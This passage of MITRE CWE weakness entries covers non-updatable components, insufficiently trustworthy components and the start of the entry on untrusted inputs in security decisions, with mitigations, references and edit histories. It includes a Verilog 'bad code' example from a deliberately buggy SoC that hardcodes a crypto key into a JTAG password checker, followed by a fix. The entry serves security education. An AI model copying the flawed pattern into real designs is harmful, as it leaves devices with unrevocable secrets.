ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 358 Improperly Implemented Security Check for Standard
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 424 Improper Protection of Alternate Path
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 602 Client-Side Enforcement of Server-Side Security
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 653 Improper Isolation or Compartmentalization
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 654 Reliance on a Single Factor in a Security Decision
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 655 Insufficient Psychological Acceptability
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 656 Reliance on Security Through Obscurity
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 757 Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 807 Reliance on Untrusted Inputs in a Security Decision
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1039 Inadequate Detection or Handling of Adversarial Input Perturbations in Automated Recognition Mechanism
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1248 Semiconductor Defects in Hardware Logic with Security-Sensitive Implications
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1253 Incorrect Selection of Fuse Values
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1269 Product Released in Non-Release Configuration
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1278 Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1291 Public Key Re-Use for Signing both Debug and Production Code
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1318 Missing Support for Security Features in On-chip Fabrics or Buses
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1319 Improper Protection against Electromagnetic Fault Injection (EM-FI)
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1326 Missing Immutable Root of Trust in Hardware
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1338 Improper Protections Against Hardware Overheating
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 975 SFP Secondary Cluster: Architecture
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1370 ICS Supply Chain: Common Mode Frailties
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1413 Comprehensive Categorization: Protection Mechanism Failure
+ Vulnerability Mapping Notes
Usage DISCOURAGED
(this CWE ID should not be used to map to real-world vulnerabilities)
Reason Abstraction

Rationale

This CWE entry is extremely high-level, a Pillar.

Comments

Consider children or descendants of this entry instead.
+ Notes

Research Gap

The concept of protection mechanisms is well established, but protection mechanism failures have not been studied comprehensively. It is suspected that protection mechanisms can have significantly different types of weaknesses than the weaknesses that they are intended to prevent.
+ Content History
+ Submissions
Submission Date Submitter Organization
2008-04-11
(CWE Draft 9, 2008-04-11) 		CWE Content Team MITRE
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-07-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2021-03-15 CWE Content Team MITRE
updated Maintenance_Notes
2020-12-10 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2020-06-25 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Applicable_Platforms, Related_Attack_Patterns, Relationships, Type
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2019-01-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2018-03-27 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms
2017-05-03 CWE Content Team MITRE
updated Related_Attack_Patterns
2017-01-19 CWE Content Team MITRE
updated Relationships
2015-12-07 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2014-02-18 CWE Content Team MITRE
updated Related_Attack_Patterns
2013-07-17 CWE Content Team MITRE
updated Relationships
2013-02-21 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2011-03-29 CWE Content Team MITRE
updated Maintenance_Notes, Other_Notes, Relationships
2010-02-16 CWE Content Team MITRE
updated Relationships
2009-10-29 CWE Content Team MITRE
updated Relationships
2009-07-27 CWE Content Team MITRE
updated Relationships
2009-05-27 CWE Content Team MITRE
updated Description, Related_Attack_Patterns
2009-03-10 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2009-01-12 CWE Content Team MITRE
updated Relationships
2008-09-08 CWE Content Team MITRE
updated Description, Relationships, Other_Notes
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE-1329: Reliance on Component That is Not Updateable

Weakness ID: 1329
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains a component that cannot be updated or patched in order to remove vulnerabilities or significant bugs.
+ Extended Description

If the component is discovered to contain a vulnerability or critical bug, but the issue cannot be fixed using an update or patch, then the product's owner will not be able to protect against the issue. The only option might be replacement of the product, which could be too financially or operationally expensive for the product owner. As a result, the inability to patch or update can leave the product open to attacker exploitation or critical operation failures. This weakness can be especially difficult to manage when using ROM, firmware, or similar components that traditionally have had limited or no update capabilities.

In industries such as healthcare, "legacy" devices can be operated for decades. As a US task force report [REF-1197] notes, "the inability to update or replace equipment has both large and small health care delivery organizations struggle with numerous unsupported legacy systems that cannot easily be replaced (hardware, software, and operating systems) with large numbers of vulnerabilities and few modern countermeasures."

While hardware can be prone to this weakness, software systems can also be affected, such as when a third-party driver or library is no longer actively maintained or supported but is still critical for the required functionality.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity; Bypass Protection Mechanism; Execute Unauthorized Code or Commands; DoS: Crash, Exit, or Restart; Quality Degradation; Reduce Maintainability

Scope: Confidentiality, Integrity, Access Control, Authentication, Authorization, Other

If an attacker can identify an exploitable vulnerability in one product that has no means of patching, the attack may be used against all affected versions of that product.
+ Potential Mitigations
Phase(s) Mitigation

Requirements
Specify requirements that each component should be updateable, including ROM, firmware, etc.

Architecture and Design
Design the product to allow for updating of its components. Include the external infrastructure that might be necessary to support updates, such as distribution servers.

Architecture and Design; Implementation
With hardware, support patches that can be programmed in-field or during manufacturing through hardware fuses. This feature can be used for limited patching of devices after shipping, or for the next batch of silicon devices manufactured, without changing the full device ROM.

Effectiveness: Moderate

Note: Some parts of the hardware initialization or signature verification done to authenticate patches will always be "not patchable." Hardware-fuse-based patches will also have limitations in terms of size and the number of patches that can be supported.

Implementation
Implement the necessary functionality to allow each component to be updated.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 664 Improper Control of a Resource Through its Lifetime
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1357 Reliance on Insufficiently Trustworthy Component
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1277 Firmware Not Updateable
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1310 Missing Ability to Patch ROM Code
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1208 Cross-Cutting Problems
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1357 Reliance on Insufficiently Trustworthy Component
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Requirements Requirements development might not consider the importance of updates over the lifetime of the product or might intentionally exclude this capability due to concerns such as expense or speed to market.
Architecture and Design Lack of planning during architecture development and design, or external pressures such as speed to market, could ignore the capability to update.
Architecture and Design Designers might omit capabilities for updating a component due to time pressures to release the product or assumptions about the stability of the component.
Implementation The weakness can appear through oversight during implementation.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Not OS-Specific (Undetermined Prevalence)

Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


A refrigerator has an Internet interface for the official purpose of alerting the manufacturer when that refrigerator detects a fault. Because the device is attached to the Internet, the refrigerator is a target for hackers who may wish to use the device other potentially more nefarious purposes.

(bad code)
Example Language: Other 
The refrigerator has no means of patching and is hacked becoming a spewer of email spam.
(good code)
Example Language: Other 
The device automatically patches itself and provides considerable more protection against being hacked.


Example 2


A System-on-Chip (SOC) implements a Root-of-Trust (RoT) in ROM to boot secure code. However, at times this ROM code might have security vulnerabilities and need to be patched. Since ROM is immutable, it can be impossible to patch.

ROM does not have built-in application-programming interfaces (APIs) to patch if the code is vulnerable. Implement mechanisms to patch the vulnerable ROM code.



Example 3


The example code is taken from the JTAG module of the buggy OpenPiton SoC of HACK@DAC'21. JTAG is protected with a password checker. Access to JTAG operations will be denied unless the correct password is provided by the user. This user-provided password is first sent to the HMAC module where it is hashed with a secret crypto key. This user password hash (pass_hash) is then compared with the hash of the correct password (exp_hash). If they match, JTAG will then be unlocked.

(bad code)
Example Language: Verilog 
module dmi_jtag(...)(...);
...
PassChkValid: begin
if(hashValid) begin
if(exp_hash == pass_hash) begin
pass_check = 1'b1;
end else begin
pass_check = 1'b0;
end
state_d = Idle;
end else begin
state_d = PassChkValid;
end
end
...
hmac hmac(
...
.key_i(256'h24e6fa2254c2ff632a41b...),
...
);
...
endmodule

However, the SoC's crypto key is hardcoded into the design and cannot be updated [REF-1387]. Therefore, if the key is leaked somehow, there is no way to reprovision the key without having the device replaced.

To fix this issue, a local register should be used (hmac_key_reg) to store the crypto key. If designers need to update the key, they can upload the new key through an input port (hmac_key_i) to the local register by enabling the patching signal (hmac_patch_en) [REF-1388].

(good code)
Example Language: Verilog 
module dmi_jtag(...
) (
input logic [255:0] hmac_key_i,
input logic hmac_patch_en,
...
reg [255:0] hmac_key_reg;
...
);
...
always_ff @(posedge tck_i or negedge trst_ni) begin
...
if (hmac_patch_en)
hmac_key_reg <= hmac_key_i;
...
end
...
hmac hmac(
...
.key_i(hmac_key_reg),
...
);
...
endmodule


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Chain: network-attached storage (NAS) device has a critical OS command injection (CWE-78) vulnerability that is actively exploited to place IoT devices into a botnet, but some products are "end-of-support" and cannot be patched (CWE-1277). [REF-1097]
+ Weakness Ordinalities
Ordinality Description
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods
Method Details

Architecture or Design Review
Check the consumer or maintainer documentation, the architecture/design documentation, or the original requirements to ensure that the documentation includes details for how to update the firmware.

Effectiveness: Moderate
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1415 Comprehensive Categorization: Resource Control
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-1197] Health Care Industry Cybersecurity Task Force. "Report on Improving Cybersecurity in the Health Care Industry". Executive Summary. 2017-06.
<https://www.phe.gov/Preparedness/planning/CyberTF/Documents/report2017.pdf>.
[REF-1097] Brian Krebs. "Zyxel Flaw Powers New Mirai IoT Botnet Strain". 2020-03-20.
<https://krebsonsecurity.com/2020/03/zxyel-flaw-powers-new-mirai-iot-botnet-strain/>.
[REF-1387] "dmi_jtag.sv line 324". 2021.
<https://github.com/HACK-EVENT/hackatdac21/blob/main/piton/design/chip/tile/ariane/src/riscv-dbg/src/dmi_jtag.sv#L324C9-L324C87>. (URL validated: 2024-01-16)
[REF-1388] "Fix for dmi_jtag.sv". 2021.
<https://github.com/HACK-EVENT/hackatdac21/commit/c94ce5f9487a41c77ede0bbc8daf4da66c39f42a>. (URL validated: 2024-01-16)
+ Content History
+ Submissions
Submission Date Submitter Organization
2020-12-03
(CWE 4.3, 2020-12-10) 		CWE Content Team MITRE
+ Contributions
Contribution Date Contributor Organization
2023-06-21 Chen Chen, Rahul Kande, Jeyavijayan Rajendran Texas A&M University
suggested demonstrative example
2023-06-21 Shaza Zeitouni, Mohamadreza Rostami, Ahmad-Reza Sadeghi Technical University of Darmstadt
suggested demonstrative example
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Relationships
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples, References
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2022-04-28 CWE Content Team MITRE
updated Common_Consequences, Description, Detection_Factors, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Potential_Mitigations, References, Relationships, Time_of_Introduction, Weakness_Ordinalities
2021-07-20 CWE Content Team MITRE
updated Demonstrative_Examples, Description, References
Back to top

CWE-1357: Reliance on Insufficiently Trustworthy Component

Weakness ID: 1357
Vulnerability Mapping: ALLOWED This CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product is built from multiple separate components, but it uses a component that is not sufficiently trusted to meet expectations for security, reliability, updateability, and maintainability.
+ Extended Description

Many modern hardware and software products are built by combining multiple smaller components together into one larger entity, often during the design or architecture phase. For example, a hardware component might be built by a separate supplier, or the product might use an open-source software library from a third party.

Regardless of the source, each component should be sufficiently trusted to ensure correct, secure operation of the product. If a component is not trustworthy, it can produce significant risks for the overall product, such as vulnerabilities that cannot be patched fast enough (if at all); hidden functionality such as malware; inability to update or replace the component if needed for security purposes; hardware components built from parts that do not meet specifications in ways that can lead to weaknesses; etc. Note that a component might not be trustworthy even if it is owned by the product vendor, such as a software component whose source code is lost and was built by developers who left the company, or a component that was developed by a separate company that was acquired and brought into the product's own company.

Note that there can be disagreement as to whether a component is sufficiently trustworthy, since trust is ultimately subjective. Different stakeholders (e.g., customers, vendors, governments) have various threat models and ways to assess trust, and design/architecture choices might make tradeoffs between security, reliability, safety, privacy, cost, and other characteristics.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Reduce Maintainability

Scope: Other

+ Potential Mitigations
Phase(s) Mitigation

Requirements; Architecture and Design; Implementation
For each component, ensure that its supply chain is well-controlled with sub-tier suppliers using best practices. For third-party software components such as libraries, ensure that they are developed and actively maintained by reputable vendors.

Architecture and Design; Implementation; Integration; Manufacturing
Maintain a Bill of Materials for all components and sub-components of the product. For software, maintain a Software Bill of Materials (SBOM). According to [REF-1247], "An SBOM is a formal, machine-readable inventory of software components and dependencies, information about those components, and their hierarchical relationships."

Operation; Patching and Maintenance
Continue to monitor changes in each of the product's components, especially when the changes indicate new vulnerabilities, end-of-life (EOL) plans, supplier practices that affect trustworthiness, etc.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 710 Improper Adherence to Coding Standards
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1104 Use of Unmaintained Third Party Components
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1329 Reliance on Component That is Not Updateable
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1208 Cross-Cutting Problems
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1329 Reliance on Component That is Not Updateable
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Requirements Requirements might include criteria for which the only available solutions are provided by insufficiently trusted components.
Architecture and Design An insufficiently trusted component might be selected because it is less expensive to do in-house, requires expertise that is not available in-house, or might allow the product to reach the market faster.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Architectures

Class: Not Architecture-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Chain: network-attached storage (NAS) device has a critical OS command injection (CWE-78) vulnerability that is actively exploited to place IoT devices into a botnet, but some products are "end-of-support" and cannot be patched (CWE-1277). [REF-1097]
+ Weakness Ordinalities
Ordinality Description
Indirect
(where the weakness is a quality issue that might indirectly make it easier to introduce security-relevant weaknesses or make them more difficult to detect)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1367 ICS Dependencies (& Architecture): External Physical Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1370 ICS Supply Chain: Common Mode Frailties
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes
Usage ALLOWED-WITH-REVIEW
(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)
Reason Abstraction

Rationale

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments

Examine children of this entry to see if there is a better fit
+ Notes

Maintenance

As of CWE 4.10, the name and description for this entry has undergone significant change and is still under public discussion, especially by members of the HW SIG.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
ISA/IEC 62443 Part 2-4 Req SP.03.02 RE(1)
ISA/IEC 62443 Part 2-4 Req SP.03.02 RE(2)
ISA/IEC 62443 Part 3-3 Req SR 1.13
ISA/IEC 62443 Part 4-2 Req EDR 3.12
ISA/IEC 62443 Part 4-2 Req HDR 3.12
ISA/IEC 62443 Part 4-2 Req NDR 3.12
ISA/IEC 62443 Part 4-2 Req EDR 3.13
ISA/IEC 62443 Part 4-2 Req HDR 3.13
ISA/IEC 62443 Part 4-2 Req NDR 3.13
ISA/IEC 62443 Part 4-2 Req CR-7.8
ISA/IEC 62443 Part 4-1 Req SM-6
ISA/IEC 62443 Part 4-1 Req SM-9
ISA/IEC 62443 Part 4-1 Req SM-10
+ References
[REF-1212] "A06:2021 - Vulnerable and Outdated Components". OWASP. 2021-09-24.
<https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/>.
[REF-1246] National Telecommunications and Information Administration. "SOFTWARE BILL OF MATERIALS".
<https://ntia.gov/page/software-bill-materials>. (URL validated: 2023-04-07)
[REF-1247] NTIA Multistakeholder Process on Software Component Transparency Framing Working Group. "Framing Software Component Transparency: Establishing a Common Software Bill of Materials (SBOM)". 2021-10-21.
<https://www.ntia.gov/files/ntia/publications/ntia_sbom_framing_2nd_edition_20211021.pdf>.
[REF-1097] Brian Krebs. "Zyxel Flaw Powers New Mirai IoT Botnet Strain". 2020-03-20.
<https://krebsonsecurity.com/2020/03/zxyel-flaw-powers-new-mirai-iot-botnet-strain/>.
+ Content History
+ Submissions
Submission Date Submitter Organization
2022-04-20
(CWE 4.7, 2022-04-28) 		CWE Content Team MITRE
+ Contributions
Contribution Date Contributor Organization
2023-06-29
(CWE 4.12, 2023-06-29) 		"Mapping CWE to 62443" Sub-Working Group CWE-CAPEC ICS/OT SIG
Suggested mappings to ISA/IEC 62443.
+ Modifications
Modification Date Modifier Organization
2025-04-03
(CWE 4.17, 2025-04-03) 		CWE Content Team MITRE
updated Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes, Taxonomy_Mappings
2023-04-27 CWE Content Team MITRE
updated References, Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Description, Maintenance_Notes, Modes_of_Introduction, Name, Potential_Mitigations, Relationships
2022-10-13 CWE Content Team MITRE
updated References
+ Previous Entry Names
Change Date Previous Entry Name
2023-01-31 Reliance on Uncontrolled Component
Back to top

CWE-807: Reliance on Untrusted Inputs in a Security Decision

Weakness ID: 807
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
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+ Description
The product uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.
+ Extended Description

Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software.

Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.

+ Common Consequences
